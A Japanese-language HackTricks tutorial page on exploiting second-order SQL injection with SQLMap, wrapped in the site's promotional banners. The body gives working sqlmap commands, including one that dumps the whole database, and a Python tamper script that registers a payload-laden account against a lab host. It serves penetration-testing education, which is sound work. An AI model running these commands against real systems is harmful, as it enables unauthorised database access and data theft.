Second Order Injection - SQLMap

ゼロからヒーローまでAWSハッキングを学ぶ htARTE（HackTricks AWS Red Team Expert）！

HackTricks をサポートする他の方法:

• HackTricks で企業を宣伝したい または HackTricks をPDFでダウンロードしたい 場合は SUBSCRIPTION PLANS をチェックしてください！

• 公式PEASS＆HackTricksのグッズを入手する

• The PEASS Family、当社の独占的な NFTs コレクションを発見する

• 💬 Discordグループ に参加するか、telegramグループ に参加するか、Twitter 🐦 @carlospolopm をフォローする。

• ハッキングトリックを共有するために、PRを HackTricks および HackTricks Cloud のGitHubリポジトリに提出してください。

SQLMap はセカンドオーダーSQLiを悪用できます。 提供する必要があります:

• SQLインジェクションペイロード が保存される リクエスト

• ペイロード が 実行 される リクエスト

SQLインジェクションペイロードが保存されるリクエストは、sqlmap で他のインジェクションと同様に示されます。インジェクションの出力/実行を読み取ることができるリクエストは、--second-url またはファイルから完全なリクエストを指定する必要がある場合は --second-req で示すことができます。

シンプルなセカンドオーダーの例:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

複数のケースでは、これだけでは不十分な場合があります。なぜなら、ペイロードを送信して別のページにアクセスする以外にも、他のアクションを実行する必要があるかもしれないからです。

そのような場合には、sqlmap tamperを使用できます。たとえば、次のスクリプトは、sqlmapのペイロードをメールアドレスとして使用して新しいユーザーを登録し、ログアウトします。

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload

SQLMapのタンパーは、ペイロードを使用してインジェクションを試みる前に常に実行され、ペイロードを返す必要があります。 この場合、私たちはペイロード自体には興味がなく、リクエストを送信することに関心があるため、ペイロードは変更されません。

したがって、第2のオーダーSQLインジェクションを悪用するためにより複雑なフローが必要な場合、次のような手順があります：

• "email"フィールドにSQLiペイロードを含むアカウントを作成

• ログアウト

• そのアカウントでログイン（login.txt）

• SQLインジェクションを実行するためのリクエストを送信（second.txt）

このsqlmapのコマンドラインが役立ちます：

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE（HackTricks AWS Red Team Expert）！

HackTricks をサポートする他の方法:

• HackTricks で企業を宣伝したい または HackTricks をPDFでダウンロードしたい 場合は SUBSCRIPTION PLANS をチェックしてください！

• 公式PEASS＆HackTricksグッズを入手する

• The PEASS Family、当社の独占的な NFTs コレクションを発見する

• 💬 Discordグループ に参加するか、telegramグループ に参加するか、Twitter 🐦 で @carlospolopm](https://twitter.com/hacktricks_live) をフォローする。

• ハッキングトリックを共有するには、HackTricks と HackTricks Cloud のgithubリポジトリにPRを提出してください。